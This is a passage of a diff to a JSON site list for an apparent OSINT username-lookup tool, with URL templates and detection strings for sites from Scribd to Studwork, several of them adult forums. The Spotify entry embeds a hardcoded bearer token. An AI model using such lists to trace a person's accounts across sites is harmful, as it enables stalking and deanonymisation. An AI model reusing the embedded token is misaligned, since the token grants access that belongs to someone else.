unavailable": "Site censorship" + }, + "alexaRank": 256, + "urlMain": "https://www.scribd.com/", + "url": "https://www.scribd.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Seatracker": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 223866, + "urlMain": "https://seatracker.ru/", + "url": "https://seatracker.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Seneporno": { + "checkType": "message", + "absenceStrs": [ + "Unexpected error! Please contact us and tell us more how you got to this page!" + ], + "presenseStrs": [ + "Dernier Login" + ], + "url": "https://seneporno.com/user/{username}", + "usernameClaimed": "Boymariste", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SeoClerks": { + "tags": [ + "in", + "jp", + "us" + ], + "checkType": "response_url", + "alexaRank": 7864, + "urlMain": "https://www.seoclerks.com", + "url": "https://www.seoclerks.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Serveradmin": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "Not Found" + ], + "alexaRank": 166278, + "urlMain": "https://serveradmin.ru/", + "url": "https://serveradmin.ru/author/{username}", + "usernameClaimed": "fedor", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Setlist": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 43166, + "urlMain": "https://www.setlist.fm", + "url": "https://www.setlist.fm/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SevSocium": { + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 7877321, + "urlMain": "http://forum.sevsocium.com", + "usernameClaimed": "vitaline", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "SevenForums": { + "tags": [ + "forum", + "gb", + "us" + ], + "engine": "vBulletin", + "alexaRank": 23957, + "urlMain": "https://www.sevenforums.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sevportal": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1726901, + "urlMain": "https://www.sevportal.info", + "url": "https://www.sevportal.info/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "DarkWillow", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sex-forum": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "http://www.sex-forum.xxx", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sexforum.ws": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 1834364, + "urlMain": "http://sexforum.ws", + "usernameClaimed": "katrin1988", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "SexforumIXBB": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 420919, + "urlMain": "http://sexforum.ixbb.ru", + "url": "http://sexforum.ixbb.ru/search.php?action=search&keywords=&author={username}", + "usernameClaimed": "lcf", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sexopedia": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "alexaRank": 6491400, + "urlMain": "http://new.sexopedia.ru", + "url": "http://new.sexopedia.ru/club/search.php?flt_login={username}", + "usernameClaimed": "Ikzu", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Sexwin": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 5812338, + "urlMain": "https://sexforum.win", + "url": "https://sexforum.win/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "foks67", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sfd.pl": { + "checkType": "message", + "absenceStrs": [ + "Brak aktywnego profilu na forum" + ], + "presenseStrs": [ + "Tematy u\u017cytkownika" + ], + "url": "https://www.sfd.pl/profile/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Shazoo": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 57278, + "urlMain": "https://shazoo.ru", + "url": "https://shazoo.ru/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ShaniiWrites": { + "checkType": "message", + "absenceStrs": [ + "The requested URL or resource could not be found." + ], + "presenseStrs": [ + "topics" + ], + "url": "https://forum.shanniiwrites.com/u/{username}/summary.json", + "usernameClaimed": "chococarmela", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ShiftDelete": { + "disabled": true, + "tags": [ + "forum", + "tr" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36" + }, + "engine": "XenForo", + "alexaRank": 2456, + "urlMain": "https://forum.shiftdelete.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Shikimori": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 20872, + "urlMain": "https://shikimori.one", + "url": "https://shikimori.one/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ShitpostBot5000": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 924499, + "urlMain": "https://www.shitpostbot.com/", + "url": "https://www.shitpostbot.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Shoe": { + "checkType": "message", + "presenseStrs": [ + "can only be viewed by SHOE members" + ], + "absenceStrs": [ + "This nickpage is temporary not available or no longer exists." + ], + "urlMain": "http://shoe.org", + "url": "http://{username}.shoe.org/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 6235117 + }, + "Shophelp": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 348270, + "urlMain": "https://shophelp.ru/", + "url": "https://shophelp.ru/profile/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Shoppingzone": { + "tags": [ + "ru" + ], + "errors": { + "\u0412\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043f\u043e\u0438\u0441\u043a \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e": "Too many searhes per IP" + }, + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 301890, + "urlMain": "http://shoppingzone.ru", + "url": "http://shoppingzone.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "eleonor", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Shotbow": { + "disabled": true, + "tags": [ + "ca", + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 1487736, + "urlMain": "https://shotbow.net", + "usernameClaimed": "velb", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Showme": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 113043, + "urlMain": "https://www.showme.com", + "url": "https://www.showme.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Shutterstock": { + "tags": [ + "music", + "photo", + "stock", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "This surprising...", + "Unfortunately, we can't find what you're looking for.", + "Not Found | Shutterstock" + ], + "presenseStrs": [ + "{username}", + "Information" + ], + "alexaRank": 184, + "urlMain": "https://www.shutterstock.com", + "url": "https://www.shutterstock.com/g/{username}/about", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Signal": { + "tags": [ + "forum", + "tech" + ], + "engine": "Discourse", + "alexaRank": 854551, + "urlMain": "https://community.signalusers.org", + "usernameClaimed": "jlund", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Silver-collector": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "urlMain": "https://www.silver-collector.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 9494921 + }, + "Skeb.jp": { + "checkType": "message", + "absenceStrs": [ + "Skeb - Request Box" + ], + "presenseStrs": [ + ") | Skeb" + ], + "url": "https://skeb.jp/@{username}", + "usernameClaimed": "eipuru_", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SkodaForum": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "http://www.skodaforum.ru", + "usernameClaimed": "rivera", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2785680 + }, + "Skyrimforums": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 351300, + "urlMain": "https://skyrimforums.org", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Skyrock": { + "disabled": true, + "tags": [ + "fr", + "in" + ], + "regexCheck": "^[^_\\.]+$", + "checkType": "status_code", + "alexaRank": 8927, + "urlMain": "https://skyrock.com/", + "url": "https://{username}.skyrock.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SkyscraperCity": { + "tags": [ + "de", + "forum", + "pl", + "us" + ], + "engine": "XenForo", + "alexaRank": 7167, + "urlMain": "https://www.skyscrapercity.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Slack": { + "tags": [ + "messaging" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "status_code", + "alexaRank": 200, + "urlMain": "https://slack.com", + "url": "https://{username}.slack.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Slant.co": { + "checkType": "message", + "absenceStrs": [ + "404 - Page Not Found - Slant" + ], + "presenseStrs": [ + "s Profile - Slant" + ], + "url": "https://www.slant.co/users/{username}", + "usernameClaimed": "bob", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Slashdot": { + "tags": [ + "news" + ], + "errors": { + "503 - Service Offline": "Site error" + }, + "checkType": "message", + "absenceStrs": [ + "user you requested does not exist" + ], + "alexaRank": 5720, + "urlMain": "https://slashdot.org", + "url": "https://slashdot.org/~{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SlideShare": { + "checkType": "message", + "alexaRank": 158, + "urlMain": "https://www.slideshare.net", + "url": "https://www.slideshare.net/{username}", + "usernameClaimed": "KumarSurya7", + "usernameUnclaimed": "kwbmsonxvp", + "presenseStrs": [ + "user-name", + "pageInfo", + "listitem", + "polite", + "strippedTitle" + ], + "absenceStrs": [ + "blankProfile", + "username-available", + "robots", + "noindex,nofollow" + ] + }, + "Slides": { + "tags": [ + "sharing" + ], + "checkType": "status_code", + "alexaRank": 15124, + "urlMain": "https://slides.com/", + "url": "https://slides.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Smashcast": { + "disabled": true, + "tags": [ + "gr", + "us" + ], + "checkType": "status_code", + "alexaRank": 1945337, + "urlMain": "https://www.smashcast.tv/", + "url": "https://www.smashcast.tv/api/media/live/{username}", + "usernameClaimed": "hello", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Smashrun": { + "tags": [ + "br", + "jp", + "us" + ], + "checkType": "status_code", + "alexaRank": 734940, + "urlMain": "https://smashrun.com/", + "url": "https://smashrun.com/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Smogon": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found." + ], + "alexaRank": 29110, + "urlMain": "https://www.smogon.com", + "url": "https://www.smogon.com/forums/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Smugmug": { + "tags": [ + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 5905, + "urlMain": "https://smugmug.com/", + "url": "https://{username}.smugmug.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Smule": { + "tags": [ + "music" + ], + "checkType": "message", + "presenseStrs": [ + "Profile: " + ], + "absenceStrs": [ + "Smule | Page Not Found (404)" + ], + "alexaRank": 11742, + "urlMain": "https://www.smule.com/", + "url": "https://www.smule.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Snbforums": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 53321, + "urlMain": "https://www.snbforums.com", + "url": "https://www.snbforums.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Snooth": { + "tags": [ + "news" + ], + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "presenseStrs": [ + "content=\"https://www.snooth.com/author/" + ], + "alexaRank": 4088489, + "urlMain": "https://www.snooth.com/", + "url": "https://www.snooth.com/author/{username}/", + "usernameClaimed": "joshua", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SocialLibremOne": { + "checkType": "status_code", + "alexaRank": 959007, + "urlMain": "https://social.librem.one", + "url": "https://social.librem.one/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "tech" + ] + }, + "SoftwareInformer": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 1288, + "urlMain": "https://users.software.informer.com", + "url": "https://users.software.informer.com/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Solaris-club": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 781686, + "urlMain": "https://solaris-club.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Solikick": { + "checkType": "message", + "absenceStrs": [ + "This item has been removed or is no longer available" + ], + "presenseStrs": [ + "page_guest_users-view" + ], + "url": "https://solikick.com/-{username}", + "usernameClaimed": "Edmundus", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Soloby": { + "disabled": true, + "tags": [ + "by", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + ], + "alexaRank": 8019, + "urlMain": "http://www.soloby.ru", + "url": "http://www.soloby.ru/user/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Soobshestva": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 8132021, + "urlMain": "http://www.soobshestva.ru/", + "url": "http://www.soobshestva.ru/forum/user/{username}/", + "usernameClaimed": "lisa", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SoundCloud": { + "tags": [ + "music" + ], + "checkType": "status_code", + "urlMain": "https://soundcloud.com/", + "url": "https://soundcloud.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 125 + }, + "Soundgym": { + "tags": [ + "il", + "in", + "us" + ], + "checkType": "response_url", + "urlMain": "https://www.soundgym.co", + "url": "https://www.soundgym.co/member/profile?m={username}", + "usernameClaimed": "raydrcougso", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 104661 + }, + "Soup": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 18850, + "urlMain": "https://soup.io", + "url": "https://www.soup.io/author/{username}", + "usernameClaimed": "cristina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SourceForge": { + "tags": [ + "coding", + "us" + ], + "checkType": "message", + "alexaRank": 444, + "urlMain": "https://sourceforge.net/", + "url": "https://sourceforge.net/u/{username}/profile", + "presenseStrs": [ + "Personal Tools" + ], + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Southklad": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 466872, + "urlMain": "https://southklad.ru", + "url": "https://southklad.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Spaces": { + "tags": [ + "blog", + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "\u0421\u0434\u0435\u043b\u0430\u0442\u044c \u043f\u043e\u0434\u0430\u0440\u043e\u043a" + ], + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 49381, + "urlMain": "https://spaces.im", + "url": "https://spaces.im/mysite/index/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Spankpay": { + "checkType": "message", + "absenceStrs": [ + "<title>SpankPay.Me" + ], + "presenseStrs": [ + " - SpankPay.Me" + ], + "url": "https://spankpay.me/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Spark": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 40675, + "urlMain": "https://spark.ru", + "url": "https://spark.ru/startup/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Speakerdeck": { + "tags": [ + "in", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "User Not Found" + ], + "alexaRank": 13234, + "urlMain": "https://speakerdeck.com", + "url": "https://speakerdeck.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Speedrun.com": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Not found - Speedrun" + ], + "presenseStrs": [ + "\"user\":{\"id\":\"" + ], + "alexaRank": 9724, + "urlMain": "https://speedrun.com/", + "url": "https://speedrun.com/users/{username}", + "usernameClaimed": "3Tau", + "usernameUnclaimed": "noonewould" + }, + "SpiceWorks": { + "checkType": "status_code", + "urlMain": "https://community.spiceworks.co", + "url": "https://community.spiceworks.com/people/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "tech" + ] + }, + "Splice": { + "checkType": "status_code", + "url": "https://splice.com/{username}", + "usernameClaimed": "splice", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Splits.io": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 1037917, + "urlMain": "https://splits.io", + "url": "https://splits.io/users/{username}", + "usernameClaimed": "cambosteve", + "usernameUnclaimed": "noonewould" + }, + "Sporcle": { + "tags": [ + "gaming", + "us" + ], + "checkType": "status_code", + "alexaRank": 4509, + "urlMain": "https://www.sporcle.com/", + "url": "https://www.sporcle.com/user/{username}/people", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sportlerfrage": { + "checkType": "status_code", + "url": "https://www.sportlerfrage.net/nutzer/{username}", + "usernameClaimed": "sportlerfrage", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SportsTracker": { + "tags": [ + "pt", + "ru" + ], + "urlProbe": "https://api.sports-tracker.com/apiserver/v1/user/name/{username}", + "checkType": "message", + "absenceStrs": [ + "\"code\":\"404\"" + ], + "alexaRank": 235874, + "urlMain": "https://www.sports-tracker.com/", + "url": "https://www.sports-tracker.com/view_profile/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Spotify": { + "disabled": true, + "tags": [ + "music", + "us" + ], + "headers": { + "authorization": "Bearer BQDDk6n__YLKqIDKxBb2fvOZm6yxuOj0XeU0mCpRmBi_0UsUz2fUP-tFsl7IjT-YOCXxmvfzUMAnQ0Y4KBo" + }, + "errors": { + "Spotify is currently not available in your country.": "Access denied in your country, use proxy/vpn" + }, + "activation": { + "method": "spotify", + "marks": [ + "No token provided", + "The access token expired" + ], + "url": "https://open.spotify.com/get_access_token?reason=transport&productType=web_player", + "src": "accessToken", + "dst": "authorization" + }, + "urlProbe": "https://spclient.wg.spotify.com/user-profile-view/v3/profile/{username}?playlist_limit=10&artist_limit=10&market=EN", + "checkType": "status_code", + "alexaRank": 89, + "urlMain": "https://open.spotify.com/", + "url": "https://open.spotify.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sprashivai": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 82345, + "urlMain": "http://sprashivai.ru", + "url": "http://sprashivai.ru/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Stalker-zone": { + "tags": [ + "ru" + ], + "presenseStrs": [ + " \u0418\u043c\u044f: " + ], + "engine": "uCoz", + "alexaRank": 4258382, + "urlMain": "http://stalker-zone.info", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Star Citizen": { + "disabled": true, + "tags": [ + "de", + "us" + ], + "checkType": "status_code", + "alexaRank": 22154, + "urlMain": "https://robertsspaceindustries.com/", + "url": "https://robertsspaceindustries.com/citizens/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Star Citizens Community": { + "tags": [ + "de", + "us" + ], + "checkType": "status_code", + "urlMain": "https://robertsspaceindustries.com/", + "url": "https://robertsspaceindustries.com/community-hub/user/{username}", + "usernameClaimed": "SentinelTheFirst", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Starsonice": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "alexaRank": 110740, + "urlMain": "https://starsonice.borda.ru", + "url": "https://starsonice.borda.ru/?32-{username}", + "usernameClaimed": "kara", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Starvault": { + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 1765371, + "urlMain": "https://starvault.se", + "url": "https://starvault.se/mortalforums/members/?username={username}", + "usernameClaimed": "xunila", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "gaming" + ] + }, + "Statistika": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "http://statistika.ru", + "usernameClaimed": "hamam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Steam": { + "tags": [ + "gaming" + ], + "checkType": "message", + "absenceStrs": [ + "The specified profile could not be found" + ], + "alexaRank": 379, + "urlMain": "https://steamcommunity.com/", + "url": "https://steamcommunity.com/id/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Steam (by id)": { + "tags": [ + "gaming" + ], + "type": "steam_id", + "checkType": "message", + "absenceStrs": [ + "The specified profile could not be found" + ], + "alexaRank": 379, + "urlMain": "https://steamcommunity.com/", + "url": "https://steamcommunity.com/profiles/{username}", + "source": "Steam", + "usernameClaimed": "76561197960287930", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Steam (Group)": { + "tags": [ + "gaming" + ], + "checkType": "message", + "absenceStrs": [ + "No group could be retrieved for the given URL" + ], + "alexaRank": 379, + "urlMain": "https://steamcommunity.com/", + "url": "https://steamcommunity.com/groups/{username}", + "source": "Steam", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Steamid": { + "tags": [ + "gaming" + ], + "checkType": "message", + "absenceStrs": [ + "
Profile not found
" + ], + "alexaRank": 299167, + "urlMain": "https://steamid.uk/", + "url": "https://steamid.uk/profile/{username}", + "source": "Steam", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Steamid (by id)": { + "tags": [ + "gaming" + ], + "type": "steam_id", + "checkType": "message", + "absenceStrs": [ + "
Profile not found
" + ], + "alexaRank": 299167, + "urlMain": "https://steamid.uk/", + "url": "https://steamid.uk/profile/{username}", + "source": "Steam", + "usernameClaimed": "76561197982198022", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Steamidfinder": { + "tags": [ + "gaming" + ], + "checkType": "message", + "presenseStrs": [ + "se our custom tools to build a Steam profile badge" + ], + "absenceStrs": [ + "could not be found." + ], + "alexaRank": 90197, + "urlMain": "https://steamidfinder.com", + "url": "https://steamidfinder.com/lookup/{username}", + "source": "Steam", + "usernameClaimed": "channel", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Steamidfinder (by id)": { + "tags": [ + "gaming" + ], + "type": "steam_id", + "checkType": "message", + "presenseStrs": [ + "se our custom tools to build a Steam profile badge" + ], + "absenceStrs": [ + "could not be found." + ], + "alexaRank": 90197, + "urlMain": "https://steamidfinder.com", + "url": "https://steamidfinder.com/lookup/{username}", + "source": "Steam", + "usernameClaimed": "76561197982198022", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Stereo": { + "tags": [ + "nl", + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 46106, + "urlMain": "https://stereo.ru/", + "url": "https://stereo.ru/user/{username}", + "usernameClaimed": "Yamiha", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Stihi.ru": { + "tags": [ + "ru", + "writing" + ], + "checkType": "message", + "absenceStrs": [ + "\u0410\u0432\u0442\u043e\u0440 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 5026, + "urlMain": "https://www.stihi.ru/", + "url": "https://www.stihi.ru/avtor/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Stoimost": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 2606124, + "urlMain": "https://stoimost.com.ua", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Storycorps": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 161477, + "urlMain": "https://archive.storycorps.org", + "url": "https://archive.storycorps.org/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Stratege": { + "urlSubpath": "/forums", + "tags": [ + "forum", + "gaming", + "news", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 115288, + "urlMain": "https://www.stratege.ru", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Strava": { + "tags": [ + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Strava | " + ], + "presenseStrs": [ + "Strava" + ], + "alexaRank": 1099, + "urlMain": "https://www.strava.com/", + "url": "https://www.strava.com/athletes/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Studfile": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "regexCheck": "^[^-]+$", + "alexaRank": 1499, + "urlMain": "https://studfile.net", + "url": "https://studfile.net/users/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Studwork": { + "similarSearch": true, + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "\u0418\u043c\u044f 